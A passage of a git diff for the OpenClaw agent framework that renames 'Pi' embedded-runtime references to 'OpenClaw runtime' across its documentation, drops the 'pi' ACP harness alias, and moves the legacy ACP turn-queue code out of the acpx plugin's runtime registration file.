a structured +not compact inside OpenClaw runtime's `transformContext` hook. It raises a structured mid-turn precheck signal, stops the current prompt submission, and lets the outer run loop use the existing recovery path: truncate oversized tool results when that is enough, or trigger the configured compaction mode and retry. The option is disabled by default and works with both `default` and `safeguard` compaction modes, including provider-backed safeguard compaction. This is independent of `maxActiveTranscriptBytes`: the byte-size guard runs -before a turn opens, while mid-turn precheck runs later in the embedded Pi tool +before a turn opens, while mid-turn precheck runs later in the embedded OpenClaw tool loop after new tool results have been appended. --- ## Compaction settings (`reserveTokens`, `keepRecentTokens`) -Pi's compaction settings live in Pi settings: +OpenClaw runtime's compaction settings live in agent settings: ```json5 { @@ -342,7 +342,7 @@ OpenClaw also enforces a safety floor for embedded runs: - Set `agents.defaults.compaction.reserveTokensFloor: 0` to disable the floor. - If it's already higher, OpenClaw leaves it alone. - Manual `/compact` honors an explicit `agents.defaults.compaction.keepRecentTokens` - and keeps Pi's recent-tail cut point. Without an explicit keep budget, + and keeps OpenClaw runtime's recent-tail cut point. Without an explicit keep budget, manual compaction remains a hard checkpoint and rebuilt context starts from the new summary. - Set `agents.defaults.compaction.midTurnPrecheck.enabled: true` to run the @@ -362,8 +362,8 @@ OpenClaw also enforces a safety floor for embedded runs: Why: leave enough headroom for multi-turn "housekeeping" (like memory writes) before compaction becomes unavoidable. -Implementation: `ensurePiCompactionReserveTokens()` in `src/agents/pi-settings.ts` -(called from `src/agents/pi-embedded-runner.ts`). +Implementation: `ensureAgentCompactionReserveTokens()` in `src/agents/agent-settings.ts` +(called from `src/agents/embedded-agent-runner.ts`). --- @@ -382,7 +382,7 @@ Plugins can register a compaction provider via `registerCompactionProvider()` on - If the provider fails or returns an empty result, OpenClaw falls back to built-in LLM summarization automatically. - Abort/timeout signals are re-thrown (not swallowed) to respect caller cancellation. -Source: `src/plugins/compaction-provider.ts`, `src/agents/pi-hooks/compaction-safeguard.ts`. +Source: `src/plugins/compaction-provider.ts`, `src/agents/agent-hooks/compaction-safeguard.ts`. --- @@ -427,7 +427,7 @@ erase critical context. OpenClaw uses the **pre-threshold flush** approach: 1. Monitor session context usage. -2. When it crosses a "soft threshold" (below Pi's compaction threshold), run a silent +2. When it crosses a "soft threshold" (below OpenClaw runtime's compaction threshold), run a silent "write memory now" directive to the agent. 3. Use the exact silent token `NO_REPLY` / `no_reply` so the user sees nothing. @@ -448,11 +448,11 @@ Notes: active session fallback chain, so local-only housekeeping does not silently fall back to a paid conversation model. - The flush runs once per compaction cycle (tracked in `sessions.json`). -- The flush runs only for embedded Pi sessions (CLI backends skip it). +- The flush runs only for embedded OpenClaw sessions (CLI backends skip it). - The flush is skipped when the session workspace is read-only (`workspaceAccess: "ro"` or `"none"`). - See [Memory](/concepts/memory) for the workspace file layout and write patterns. -Pi also exposes a `session_before_compact` hook in the extension API, but OpenClaw's +OpenClaw also exposes a `session_before_compact` hook in the extension API, but OpenClaw's flush logic lives on the Gateway side today. --- diff --git a/docs/reference/transcript-hygiene.md b/docs/reference/transcript-hygiene.md index 7574222e496..f4b83ac1f46 100644 --- a/docs/reference/transcript-hygiene.md +++ b/docs/reference/transcript-hygiene.md @@ -33,7 +33,7 @@ If you need transcript storage details, see: Runtime/system context can be added to the model prompt for a turn, but it is not end-user-authored content. OpenClaw keeps a separate transcript-facing -prompt body for Gateway replies, queued followups, ACP, CLI, and embedded Pi +prompt body for Gateway replies, queued followups, ACP, CLI, and embedded OpenClaw runs. Stored visible user turns use that transcript body instead of the runtime-enriched prompt. @@ -48,7 +48,7 @@ TUI, REST, or SSE clients. All transcript hygiene is centralized in the embedded runner: - Policy selection: `src/agents/transcript-policy.ts` -- Sanitization/repair application: `sanitizeSessionHistory` in `src/agents/pi-embedded-runner/replay-history.ts` +- Sanitization/repair application: `sanitizeSessionHistory` in `src/agents/embedded-agent-runner/replay-history.ts` The policy uses `provider`, `modelApi`, and `modelId` to decide what to apply. @@ -69,7 +69,7 @@ Lower max dimensions generally reduce token usage; higher dimensions preserve de Implementation: -- `sanitizeSessionMessagesImages` in `src/agents/pi-embedded-helpers/images.ts` +- `sanitizeSessionMessagesImages` in `src/agents/embedded-agent-helpers/images.ts` - `sanitizeContentBlocksImages` in `src/agents/tool-images.ts` - Max image side is configurable via `agents.defaults.imageMaxDimensionPx` (default: `1200`). - Blank text blocks are removed while this pass walks replay content. Assistant @@ -87,7 +87,7 @@ persisted tool calls (for example, after a rate limit failure). Implementation: - `sanitizeToolCallInputs` in `src/agents/session-transcript-repair.ts` -- Applied in `sanitizeSessionHistory` in `src/agents/pi-embedded-runner/replay-history.ts` +- Applied in `sanitizeSessionHistory` in `src/agents/embedded-agent-runner/replay-history.ts` --- diff --git a/docs/tools/acp-agents-setup.md b/docs/tools/acp-agents-setup.md index 9a7d2995c06..d59faa75b6c 100644 --- a/docs/tools/acp-agents-setup.md +++ b/docs/tools/acp-agents-setup.md @@ -41,7 +41,6 @@ Current acpx built-in harness aliases: - `kiro` - `openclaw` - `opencode` -- `pi` - `qwen` When OpenClaw uses the acpx backend, prefer these values for `agentId` unless your acpx config defines custom agent aliases. @@ -79,7 +78,7 @@ Core ACP baseline: "kiro", "openclaw", "opencode", - "pi", + "openclaw", "qwen", ], maxConcurrentSessions: 8, diff --git a/docs/tools/acp-agents.md b/docs/tools/acp-agents.md index a6da96113f2..bb046543d98 100644 --- a/docs/tools/acp-agents.md +++ b/docs/tools/acp-agents.md @@ -11,7 +11,7 @@ sidebarTitle: "ACP agents" --- [Agent Client Protocol (ACP)](https://agentclientprotocol.com/) sessions -let OpenClaw run external coding harnesses (for example Pi, Claude Code, +let OpenClaw run external coding harnesses (for example Claude Code, Cursor, Copilot, Droid, OpenClaw ACP, OpenCode, Gemini CLI, and other supported ACPX harnesses) through an ACP backend plugin. @@ -109,7 +109,6 @@ or `sessions_spawn({ runtime: "acp", agentId: "" })` targets: | `kiro` | Kiro CLI | Adapter availability and model control depend on the installed CLI. | | `opencode` | OpenCode ACP adapter | Requires OpenCode CLI/provider auth. | | `openclaw` | OpenClaw Gateway bridge through `openclaw acp` | Lets an ACP-aware harness talk back to an OpenClaw Gateway session. | -| `pi` | Pi/embedded OpenClaw runtime | Used for OpenClaw-native harness experiments. | | `qwen` | Qwen Code / Qwen CLI | Requires Qwen-compatible auth on the host. | Custom acpx agent aliases can be configured in acpx itself, but OpenClaw diff --git a/docs/tools/index.md b/docs/tools/index.md index 9751855d4a7..fc08df5ddec 100644 --- a/docs/tools/index.md +++ b/docs/tools/index.md @@ -29,7 +29,7 @@ only when the agent should see fewer tools or needs explicit host access. | Add a new integration or runtime surface | [Plugins](#extend-capabilities) | [Plugins](/tools/plugin) and [Build plugins](/plugins/building-plugins) | | Run work later or in the background | [Automation](/automation) | [Automation overview](/automation) | | Coordinate multiple agents or harnesses | [Sub-agents](/tools/subagents) | [ACP agents](/tools/acp-agents) and [Agent send](/tools/agent-send) | -| Search a large PI tool catalog | [Tool Search](/tools/tool-search) | [Tool Search](/tools/tool-search) | +| Search a large OpenClaw tool catalog | [Tool Search](/tools/tool-search) | [Tool Search](/tools/tool-search) | ## Choose tools, skills, or plugins @@ -78,21 +78,21 @@ The table lists representative tools so you can recognize the surface. It is not the full policy reference. For exact groups, defaults, and allow/deny semantics, use [Tools and custom providers](/gateway/config-tools). -| Category | Use when the agent needs to... | Representative tools | Read next | -| ---------------------- | ----------------------------------------------------------------------------- | -------------------------------------------------------------------- | ---------------------------------------------------------------------- | -| Runtime | Run commands, manage processes, or use provider-backed Python analysis | `exec`, `process`, `code_execution` | [Exec](/tools/exec), [Code execution](/tools/code-execution) | -| Files | Read and change workspace files | `read`, `write`, `edit`, `apply_patch` | [Apply patch](/tools/apply-patch) | -| Web | Search the web, search X posts, or fetch readable page content | `web_search`, `x_search`, `web_fetch` | [Web tools](/tools/web), [Web fetch](/tools/web-fetch) | -| Browser | Operate a browser session | `browser` | [Browser](/tools/browser) | -| Messaging and channels | Send replies or channel actions | `message` | [Agent send](/tools/agent-send) | -| Sessions and agents | Inspect sessions, delegate work, steer another run, or report status | `sessions_*`, `subagents`, `agents_list`, `session_status` | [Sub-agents](/tools/subagents), [Session tool](/concepts/session-tool) | -| Automation | Schedule work or respond to background events | `cron`, `heartbeat_respond` | [Automation](/automation) | -| Gateway and nodes | Inspect Gateway state or paired target devices | `gateway`, `nodes` | [Gateway configuration](/gateway/configuration), [Nodes](/nodes) | -| Media | Analyze, generate, or speak media | `image`, `image_generate`, `music_generate`, `video_generate`, `tts` | [Media overview](/tools/media-overview) | -| Large PI catalogs | Search and call many eligible tools without sending every schema to the model | `tool_search_code`, `tool_search`, `tool_describe` | [Tool Search](/tools/tool-search) | +| Category | Use when the agent needs to... | Representative tools | Read next | +| ----------------------- | ----------------------------------------------------------------------------- | -------------------------------------------------------------------- | ---------------------------------------------------------------------- | +| Runtime | Run commands, manage processes, or use provider-backed Python analysis | `exec`, `process`, `code_execution` | [Exec](/tools/exec), [Code execution](/tools/code-execution) | +| Files | Read and change workspace files | `read`, `write`, `edit`, `apply_patch` | [Apply patch](/tools/apply-patch) | +| Web | Search the web, search X posts, or fetch readable page content | `web_search`, `x_search`, `web_fetch` | [Web tools](/tools/web), [Web fetch](/tools/web-fetch) | +| Browser | Operate a browser session | `browser` | [Browser](/tools/browser) | +| Messaging and channels | Send replies or channel actions | `message` | [Agent send](/tools/agent-send) | +| Sessions and agents | Inspect sessions, delegate work, steer another run, or report status | `sessions_*`, `subagents`, `agents_list`, `session_status` | [Sub-agents](/tools/subagents), [Session tool](/concepts/session-tool) | +| Automation | Schedule work or respond to background events | `cron`, `heartbeat_respond` | [Automation](/automation) | +| Gateway and nodes | Inspect Gateway state or paired target devices | `gateway`, `nodes` | [Gateway configuration](/gateway/configuration), [Nodes](/nodes) | +| Media | Analyze, generate, or speak media | `image`, `image_generate`, `music_generate`, `video_generate`, `tts` | [Media overview](/tools/media-overview) | +| Large OpenClaw catalogs | Search and call many eligible tools without sending every schema to the model | `tool_search_code`, `tool_search`, `tool_describe` | [Tool Search](/tools/tool-search) | -Tool Search is an experimental PI-agent surface. Codex harness runs use +Tool Search is an experimental OpenClaw agent surface. Codex harness runs use Codex-native code mode, native tool search, deferred dynamic tools, and nested tool calls instead of `tools.toolSearch`. @@ -164,7 +164,7 @@ current turn: [Plugins](/tools/plugin). 5. For delegated runs, check per-agent restrictions in [Per-agent sandbox and tool restrictions](/tools/multi-agent-sandbox-tools). -6. For large PI catalogs, confirm whether the run uses direct tool exposure or +6. For large OpenClaw catalogs, confirm whether the run uses direct tool exposure or [Tool Search](/tools/tool-search). ## Related @@ -175,4 +175,4 @@ current turn: - [Plugins](/tools/plugin) for plugin installation and management - [Plugin SDK](/plugins/sdk-overview) for plugin author reference - [Skills](/tools/skills) for skill load order, gating, and config -- [Tool Search](/tools/tool-search) for compact PI tool catalog discovery +- [Tool Search](/tools/tool-search) for compact OpenClaw tool catalog discovery diff --git a/docs/tools/skills.md b/docs/tools/skills.md index 2624ccba0b9..eada364bca2 100644 --- a/docs/tools/skills.md +++ b/docs/tools/skills.md @@ -387,7 +387,7 @@ under `skills.entries` in `~/.openclaw/openclaw.json`: `false` disables the skill even if it is bundled or installed. The bundled `coding-agent` skill is opt-in: set `skills.entries.coding-agent.enabled: true` before exposing it to agents, - then make sure one of `claude`, `codex`, `opencode`, or `pi` is installed and + then make sure one of `claude`, `codex`, `opencode`, or another supported CLI is installed and authenticated for its own CLI. @@ -495,7 +495,7 @@ skills that cannot currently run there. When skills are eligible, OpenClaw injects a compact XML list of available skills into the system prompt (via `formatSkillsForPrompt` in -`pi-coding-agent`). The cost is deterministic: +`session runtime`). The cost is deterministic: - **Base overhead** (only when ≥1 skill): 195 characters. - **Per skill:** 97 characters + the length of the XML-escaped ``, ``, and `` values. diff --git a/docs/tools/slash-commands.md b/docs/tools/slash-commands.md index 0069265fd6e..2ea45ec70c1 100644 --- a/docs/tools/slash-commands.md +++ b/docs/tools/slash-commands.md @@ -312,7 +312,7 @@ For profile and override editing, use the Control UI Tools panel or config/catal - **Provider usage/quota** (example: "Claude 80% left") shows up in `/status` for the current model provider when usage tracking is enabled. OpenClaw normalizes provider windows to `% left`; for MiniMax, remaining-only percent fields are inverted before display, and `model_remains` responses prefer the chat-model entry plus a model-tagged plan label. - **Token/cache lines** in `/status` can fall back to the latest transcript usage entry when the live session snapshot is sparse. Existing nonzero live values still win, and transcript fallback can also recover the active runtime model label plus a larger prompt-oriented total when stored totals are missing or smaller. -- **Execution vs runtime:** `/status` reports `Execution` for the effective sandbox path and `Runtime` for who is actually running the session: `OpenClaw Pi Default`, `OpenAI Codex`, a CLI backend, or an ACP backend. +- **Execution vs runtime:** `/status` reports `Execution` for the effective sandbox path and `Runtime` for who is actually running the session: `OpenClaw Default`, `OpenAI Codex`, a CLI backend, or an ACP backend. - **Per-response tokens/cost** is controlled by `/usage off|tokens|full` (appended to normal replies). - `/model status` is about **models/auth/endpoints**, not usage. @@ -409,7 +409,7 @@ Examples: ``` -`/mcp` stores config in OpenClaw config, not Pi-owned project settings. Runtime adapters decide which transports are actually executable. +`/mcp` stores config in OpenClaw config, not embedded-agent project settings. Runtime adapters decide which transports are actually executable. ## Plugin updates diff --git a/docs/tools/subagents.md b/docs/tools/subagents.md index 81d35948e27..b79a6013805 100644 --- a/docs/tools/subagents.md +++ b/docs/tools/subagents.md @@ -354,7 +354,7 @@ that would run unsandboxed. Use `agents_list` to see which agent ids are currently allowed for `sessions_spawn`. The response includes each listed agent's effective -model and embedded runtime metadata so callers can distinguish PI, Codex +model and embedded runtime metadata so callers can distinguish OpenClaw, Codex app-server, and other configured native runtimes. `allowAgents` entries must point at configured agent ids in `agents.list[]`. diff --git a/docs/tools/thinking.md b/docs/tools/thinking.md index 293e242b7aa..4b94100f317 100644 --- a/docs/tools/thinking.md +++ b/docs/tools/thinking.md @@ -55,7 +55,7 @@ title: "Thinking levels" ## Application by agent -- **Embedded Pi**: the resolved level is passed to the in-process Pi agent runtime. +- **Embedded OpenClaw**: the resolved level is passed to the in-process OpenClaw agent runtime. - **Claude CLI backend**: non-off levels are passed to Claude Code as `--effort` when using `claude-cli`; see [CLI backends](/gateway/cli-backends). ## Fast mode (/fast) @@ -83,7 +83,7 @@ title: "Thinking levels" - `/verbose off` stores an explicit session override; clear it via the Sessions UI by choosing `inherit`. - Inline directive affects only that message; session/global defaults apply otherwise. - Send `/verbose` (or `/verbose:`) with no argument to see the current verbose level. -- When verbose is on, agents that emit structured tool results (Pi, other JSON agents) send each tool call back as its own metadata-only message, prefixed with ` : ` when available. These tool summaries are sent as soon as each tool starts (separate bubbles), not as streaming deltas. +- When verbose is on, agents that emit structured tool results send each tool call back as its own metadata-only message, prefixed with ` : ` when available. These tool summaries are sent as soon as each tool starts (separate bubbles), not as streaming deltas. - Tool failure summaries remain visible in normal mode, but raw error detail suffixes are hidden unless verbose is `full`. - When verbose is `full`, tool outputs are also forwarded after completion (separate bubble, truncated to a safe length). If you toggle `/verbose on|full|off` while a run is in-flight, subsequent tool bubbles honor the new setting. - `agents.defaults.toolProgressDetail` controls the shape of `/verbose` tool summaries and progress-draft tool lines. Use `"explain"` (default) for compact human labels such as `🛠️ Exec: checking JS syntax`; use `"raw"` when you also want the raw command/detail appended for debugging. Per-agent `agents.list[].toolProgressDetail` overrides the default. diff --git a/docs/tools/tokenjuice.md b/docs/tools/tokenjuice.md index de7a76b4052..b44cb013fa9 100644 --- a/docs/tools/tokenjuice.md +++ b/docs/tools/tokenjuice.md @@ -13,7 +13,7 @@ tool results after the command has already run. It changes the returned `tool_result`, not the command itself. Tokenjuice does not rewrite shell input, rerun commands, or change exit codes. -Today this applies to PI embedded runs and OpenClaw dynamic tools in the Codex +Today this applies to OpenClaw embedded runs and OpenClaw dynamic tools in the Codex app-server harness. Tokenjuice hooks OpenClaw's tool-result middleware and trims the output before it goes back into the active harness session. diff --git a/docs/tools/tool-search.md b/docs/tools/tool-search.md index 20676d24618..6e69352295f 100644 --- a/docs/tools/tool-search.md +++ b/docs/tools/tool-search.md @@ -1,22 +1,22 @@ --- -summary: "Tool Search: compact large PI tool catalogs behind search, describe, and call" +summary: "Tool Search: compact large OpenClaw tool catalogs behind search, describe, and call" title: "Tool Search" read_when: - - You want PI agents to use a large tool catalog without adding every tool schema to the prompt - - You want OpenClaw tools, MCP tools, and client tools exposed through one compact PI surface - - You are implementing or debugging tool discovery for PI runs + - You want OpenClaw agents to use a large tool catalog without adding every tool schema to the prompt + - You want OpenClaw tools, MCP tools, and client tools exposed through one compact runtime surface + - You are implementing or debugging tool discovery for OpenClaw runs --- -Tool Search is an experimental OpenClaw PI-agent feature. It gives PI agents one +Tool Search is an experimental OpenClaw agent runtime feature. It gives agents one compact way to discover and call large tool catalogs. It is useful when the run has many available tools but the model is likely to need only a few of them. -This page documents OpenClaw PI Tool Search. It is not the Codex-native tool +This page documents OpenClaw Tool Search. It is not the Codex-native tool search or dynamic-tools surface. Codex-native code mode, tool search, deferred dynamic tools, and nested tool calls are stable Codex harness surfaces and do not depend on `tools.toolSearch`. -When enabled for PI, the model receives one `tool_search_code` tool by default. +When enabled for OpenClaw runs, the model receives one `tool_search_code` tool by default. That tool runs a short JavaScript body in an isolated Node subprocess with an `openclaw.tools` bridge: @@ -41,7 +41,7 @@ tools, and nested tool calls. ## How a turn runs -At planning time the PI embedded runner builds the effective catalog for the +At planning time the OpenClaw embedded runner builds the effective catalog for the run: 1. Resolve the active tool policy for the agent, profile, sandbox, and session. @@ -49,7 +49,7 @@ run: 3. List eligible MCP tools through the session MCP runtime. 4. Add eligible client tools supplied for the current run. 5. Index compact descriptors for search. -6. Expose either the PI code bridge or the structured fallback tools to the +6. Expose either the OpenClaw code bridge or the structured fallback tools to the model. At execution time every real tool call returns to OpenClaw. The isolated Node @@ -70,7 +70,7 @@ shape the model sees. If the current runtime cannot launch the isolated Node code-mode child process, the default `code` mode falls back to `tools` before catalog compaction. -Both modes are experimental. Prefer direct tool exposure for small PI tool +Both modes are experimental. Prefer direct tool exposure for small OpenClaw tool catalogs, and prefer the Codex-native stable surfaces for Codex harness runs. There is no separate source-selection config. When Tool Search is enabled, the @@ -158,7 +158,7 @@ Normal OpenClaw behavior still applies to final calls: ## Config -Enable Tool Search for PI runs with the default code bridge: +Enable Tool Search for OpenClaw runs with the default code bridge: ```bash openclaw config set tools.toolSearch true @@ -174,7 +174,7 @@ Equivalent JSON: } ``` -Use the structured fallback tools instead for PI runs: +Use the structured fallback tools instead for OpenClaw runs: ```json5 { @@ -230,7 +230,7 @@ Session logs should make it possible to answer: ## E2E validation -The gateway E2E runner proves both paths with the PI harness: +The gateway E2E runner proves both paths with the OpenClaw runtime: ```bash node --import tsx scripts/tool-search-gateway-e2e.ts diff --git a/docs/tools/trajectory.md b/docs/tools/trajectory.md index 53824c7a260..aa99c67016c 100644 --- a/docs/tools/trajectory.md +++ b/docs/tools/trajectory.md @@ -178,7 +178,7 @@ cleanup timeout is 10,000 ms. On slow disks or large stores, set export OPENCLAW_TRAJECTORY_FLUSH_TIMEOUT_MS=30000 ``` -This controls when OpenClaw logs a `pi-trajectory-flush` timeout and continues. +This controls when OpenClaw logs an `openclaw-trajectory-flush` timeout and continues. It does not change the trajectory size caps. To tune all agent cleanup steps that do not pass an explicit timeout, set `OPENCLAW_AGENT_CLEANUP_TIMEOUT_MS`. diff --git a/docs/web/webchat.md b/docs/web/webchat.md index d5f8c84cf99..3f779970def 100644 --- a/docs/web/webchat.md +++ b/docs/web/webchat.md @@ -49,13 +49,13 @@ Status: the macOS/iOS SwiftUI chat UI talks directly to the Gateway WebSocket. WebChat has two separate data paths: -- The session JSONL file is the durable model/runtime transcript. For normal agent runs, Pi persists model-visible `user`, `assistant`, and `toolResult` messages through its session manager. WebChat does not write arbitrary delivery, status, or helper text into that transcript. +- The session JSONL file is the durable model/runtime transcript. For normal agent runs, the embedded OpenClaw runtime persists model-visible `user`, `assistant`, and `toolResult` messages through its session manager. WebChat does not write arbitrary delivery, status, or helper text into that transcript. - Gateway `ReplyPayload` events are the live delivery projection. They can be normalized for WebChat/channel display, block streaming, directive tags, media embedding, TTS/audio flags, and UI fallback behavior. They are not themselves the canonical session log. - Harnesses that require visible replies through `tools.message` still use WebChat as a current-run internal source reply sink. A targetless `message.send` from that active WebChat run is projected into the same chat and mirrored to the session transcript; WebChat does not become a reusable outbound channel and never inherits `lastChannel`. -- WebChat injects assistant transcript entries only when the Gateway owns a displayed message outside a normal Pi assistant turn: `chat.inject`, non-agent command replies, aborted partial output, and WebChat-managed media transcript supplements. +- WebChat injects assistant transcript entries only when the Gateway owns a displayed message outside a normal embedded agent turn: `chat.inject`, non-agent command replies, aborted partial output, and WebChat-managed media transcript supplements. - `chat.history` reads the stored session transcript and applies WebChat display projection. If live assistant text appears during a run but disappears after history reload, first check whether the raw JSONL contains the assistant text, then whether `chat.history` projection stripped it, then whether the Control UI optimistic-tail merge replaced local delivery state with the persisted snapshot. -Normal agent-run final answers should be durable because Pi writes the assistant `message_end`. Any fallback that mirrors a delivered final payload into the transcript must first avoid duplicating an assistant turn that Pi already wrote. +Normal agent-run final answers should be durable because the embedded runtime writes the assistant `message_end`. Any fallback that mirrors a delivered final payload into the transcript must first avoid duplicating an assistant turn that the embedded runtime already wrote. ## Control UI agents tools panel diff --git a/extensions/acpx/package.json b/extensions/acpx/package.json index ea8f8f65d0e..e0593989337 100644 --- a/extensions/acpx/package.json +++ b/extensions/acpx/package.json @@ -35,10 +35,6 @@ "source": "./src/runtime-internals/mcp-proxy.mjs", "output": "mcp-proxy.mjs" }, - { - "source": "./src/runtime-internals/error-format.mjs", - "output": "error-format.mjs" - }, { "source": "./src/runtime-internals/mcp-command-line.mjs", "output": "mcp-command-line.mjs" diff --git a/extensions/acpx/register.runtime.ts b/extensions/acpx/register.runtime.ts index 6c74891876b..f772d6515c7 100644 --- a/extensions/acpx/register.runtime.ts +++ b/extensions/acpx/register.runtime.ts @@ -3,12 +3,9 @@ import { registerAcpRuntimeBackend, unregisterAcpRuntimeBackend, type AcpRuntime, - type AcpRuntimeEvent, - type AcpRuntimeTurn, - type AcpRuntimeTurnInput, - type AcpRuntimeTurnResult, } from "openclaw/plugin-sdk/acp-runtime-backend"; import type { OpenClawPluginService, OpenClawPluginServiceContext } from "openclaw/plugin-sdk/core"; +import { lazyStartRuntimeTurn } from "./src/runtime-turn.js"; const ACPX_BACKEND_ID = "acpx"; @@ -27,89 +24,6 @@ type DeferredServiceState = { let serviceModulePromise: Promise | null = null; -function createDeferredResult() { - let resolve!: (value: T) => void; - let reject!: (error: unknown) => void; - const promise = new Promise((resolvePromise, rejectPromise) => { - resolve = resolvePromise; - reject = rejectPromise; - }); - return { promise, resolve, reject }; -} - -class LegacyRunTurnEventQueue { - private readonly items: AcpRuntimeEvent[] = []; - private readonly waits: Array<{ - resolve: (value: AcpRuntimeEvent | null) => void; - reject: (error: unknown) => void; - }> = []; - private closed = false; - private error: unknown; - - push(item: AcpRuntimeEvent): void { - if (this.closed) { - return; - } - const waiter = this.waits.shift(); - if (waiter) { - waiter.resolve(item); - return; - } - this.items.push(item); - } - - clear(): void { - this.items.length = 0; - } - - close(): void { - if (this.closed) { - return; - } - this.closed = true; - for (const waiter of this.waits.splice(0)) { - waiter.resolve(null); - } - } - - fail(error: unknown): void { - if (this.closed) { - return; - } - this.error = error; - this.closed = true; - for (const waiter of this.waits.splice(0)) { - waiter.reject(error); - } - } - - private async next(): Promise { - const item = this.items.shift(); - if (item) { - return item; - } - if (this.error) { - throw this.error; - } - if (this.closed) { - return null; - } - return await new Promise((resolve, reject) => { - this.waits.push({ resolve, reject }); - }); - } - - async *iterate(): AsyncIterable { - for (;;) { - const item = await this.next(); - if (!item) { - return; - } - yield item; - } - } -} - function loadServiceModule(): Promise { serviceModulePromise ??= import("./src/service.js"); return serviceModulePromise; @@ -143,97 +57,6 @@ async function startRealService(state: DeferredServiceState): Promise Promise, - input: AcpRuntimeTurnInput, -): AcpRuntimeTurn { - const turnPromise: Promise = resolveRuntime().then((runtime) => { - if (runtime.startTurn) { - return runtime.startTurn(input); - } - return legacyRunTurnAsStartTurn(runtime, input); - }); - return { - requestId: input.requestId, - events: { - async *[Symbol.asyncIterator]() { - yield* (await turnPromise).events; - }, - }, - result: turnPromise.then((turn) => turn.result), - cancel(inputArgs) { - return turnPromise.then((turn) => turn.cancel(inputArgs)); - }, - closeStream(inputArgs) { - return turnPromise.then((turn) => turn.closeStream(inputArgs)); - }, - }; -} - -function legacyRunTurnAsStartTurn(runtime: AcpRuntime, input: AcpRuntimeTurnInput): AcpRuntimeTurn { - const result = createDeferredResult(); - result.promise.catch(() => {}); - const queue = new LegacyRunTurnEventQueue(); - let resultSettled = false; - const settleResult = (next: AcpRuntimeTurnResult) => { - if (resultSettled) { - return; - } - resultSettled = true; - result.resolve(next); - }; - void (async () => { - try { - for await (const event of runtime.runTurn(input)) { - if (event.type === "done") { - settleResult({ - status: "completed", - ...(event.stopReason ? { stopReason: event.stopReason } : {}), - }); - continue; - } - if (event.type === "error") { - settleResult({ - status: "failed", - error: { - message: event.message, - ...(event.code ? { code: event.code } : {}), - ...(event.detailCode ? { detailCode: event.detailCode } : {}), - ...(event.retryable === undefined ? {} : { retryable: event.retryable }), - }, - }); - continue; - } - queue.push(event); - } - settleResult({ - status: "failed", - error: { - code: "ACP_TURN_FAILED", - message: "ACP turn ended without a terminal done event.", - }, - }); - } catch (error) { - result.reject(error); - queue.fail(error); - return; - } - queue.close(); - })(); - return { - requestId: input.requestId, - events: queue.iterate(), - result: result.promise, - async cancel(inputArgs) { - await runtime.cancel({ handle: input.handle, reason: inputArgs?.reason }); - }, - async closeStream() { - queue.clear(); - queue.close(); - }, - }; -} - function createDeferredRuntime(state: DeferredServiceState): AcpRuntime { const resolveRuntime = () => startRealService(state); return { @@ -241,7 +64,7 @@ function createDeferredRuntime(state: DeferredServiceState): AcpRuntime { return await (await resolveRuntime()).ensureSession(input); }, startTurn(input) { - return lazyStartTurn(resolveRuntime, input); + return lazyStartRuntimeTurn(resolveRuntime, input); }, async *runTurn(input) { yield* (await resolveRuntime()).runTurn(input); diff --git a/extensions/acpx/skills/acp-router/SKILL.md b/extensions/acpx/skills/acp-router/SKILL.md index 9f8b7b5e304..59fca09aa39 100644 --- a/extensions/acpx/skills/acp-router/SKILL.md +++ b/extensions/acpx/skills/acp-router/SKILL.md @@ -1,12 +1,12 @@ --- name: acp-router -description: Route plain-language requests for Pi, Claude Code, Cursor, Copilot, OpenClaw ACP, OpenCode, Gemini CLI, Qwen, Kiro, Kimi, iFlow, Factory Droid, Kilocode, or explicit ACP harness work into either OpenClaw ACP runtime sessions or direct acpx-driven sessions ("telephone game" flow). For coding-agent thread requests, read this skill first, then use only `sessions_spawn` for thread creation. Codex chat binding defaults to the native Codex app-server plugin unless ACP is explicit or background spawn needs ACP. +description: Route plain-language requests for Claude Code, Cursor, Copilot, OpenClaw ACP, OpenCode, Gemini CLI, Qwen, Kiro, Kimi, iFlow, Factory Droid, Kilocode, or explicit ACP harness work into either OpenClaw ACP runtime sessions or direct acpx-driven sessions ("telephone game" flow). For coding-agent thread requests, read this skill first, then use only `sessions_spawn` for thread creation. Codex chat binding defaults to the native Codex app-server plugin unless ACP is explicit or background spawn needs ACP. user-invocable: false --- # ACP Harness Router -When user intent is "run this in Pi/Claude Code/Cursor/Copilot/OpenClaw/OpenCode/Gemini/Qwen/Kiro/Kimi/iFlow/Droid/Kilocode (ACP harness)", do not use subagent runtime or PTY scraping. Route through ACP-aware flows. +When user intent is "run this in Claude Code/Cursor/Copilot/OpenClaw/OpenCode/Gemini/Qwen/Kiro/Kimi/iFlow/Droid/Kilocode (ACP harness)", do not use subagent runtime or PTY scraping. Route through ACP-aware flows. Codex is special: plain chat/conversation binding and control should use the native Codex app-server plugin (`/codex bind`, `/codex threads`, `/codex resume`) instead of the default ACP path. Use ACP for Codex only when the user explicitly names ACP/`/acp`/acpx, or when spawning background child sessions through `sessions_spawn` where a native Codex runtime spawn is not available yet. @@ -14,7 +14,7 @@ Codex is special: plain chat/conversation binding and control should use the nat Trigger this skill when the user asks OpenClaw to: -- run something in Pi / Claude Code / Cursor / Copilot / OpenClaw / OpenCode / Gemini / Qwen / Kiro / Kimi / iFlow / Droid / Kilocode +- run something in Claude Code / Cursor / Copilot / OpenClaw / OpenCode / Gemini / Qwen / Kiro / Kimi / iFlow / Droid / Kilocode - run Codex explicitly through ACP, `/acp`, or acpx - continue existing harness work - relay instructions to an external coding harness @@ -48,7 +48,6 @@ Do not use: Use these defaults when user names a harness directly: -- "pi" -> `agentId: "pi"` - "openclaw" -> `agentId: "openclaw"` - "claude" or "claude code" -> `agentId: "claude"` - "codex" -> `agentId: "codex"` only for explicit ACP/acpx requests or background ACP runtime spawn @@ -203,7 +202,6 @@ ${ACPX_CMD} codex sessions close oc-codex- - `kiro` - `openclaw` - `opencode` -- `pi` - `qwen` ### Built-in adapter commands in acpx @@ -222,7 +220,6 @@ Defaults are: - `kimi -> kimi acp` - `kiro -> kiro-cli acp` - `opencode -> npx -y opencode-ai acp` -- `pi -> npx pi-acp@^0.0.22` - `qwen -> qwen --acp` If `~/.acpx/config.json` overrides `agents`, those overrides replace defaults. diff --git a/extensions/acpx/src/codex-auth-bridge.test.ts b/extensions/acpx/src/codex-auth-bridge.test.ts index a7bd8ba56b8..9cac5dd8587 100644 --- a/extensions/acpx/src/codex-auth-bridge.test.ts +++ b/extensions/acpx/src/codex-auth-bridge.test.ts @@ -13,7 +13,6 @@ const tempDirs: string[] = []; const previousEnv = { CODEX_HOME: process.env.CODEX_HOME, OPENCLAW_AGENT_DIR: process.env.OPENCLAW_AGENT_DIR, - 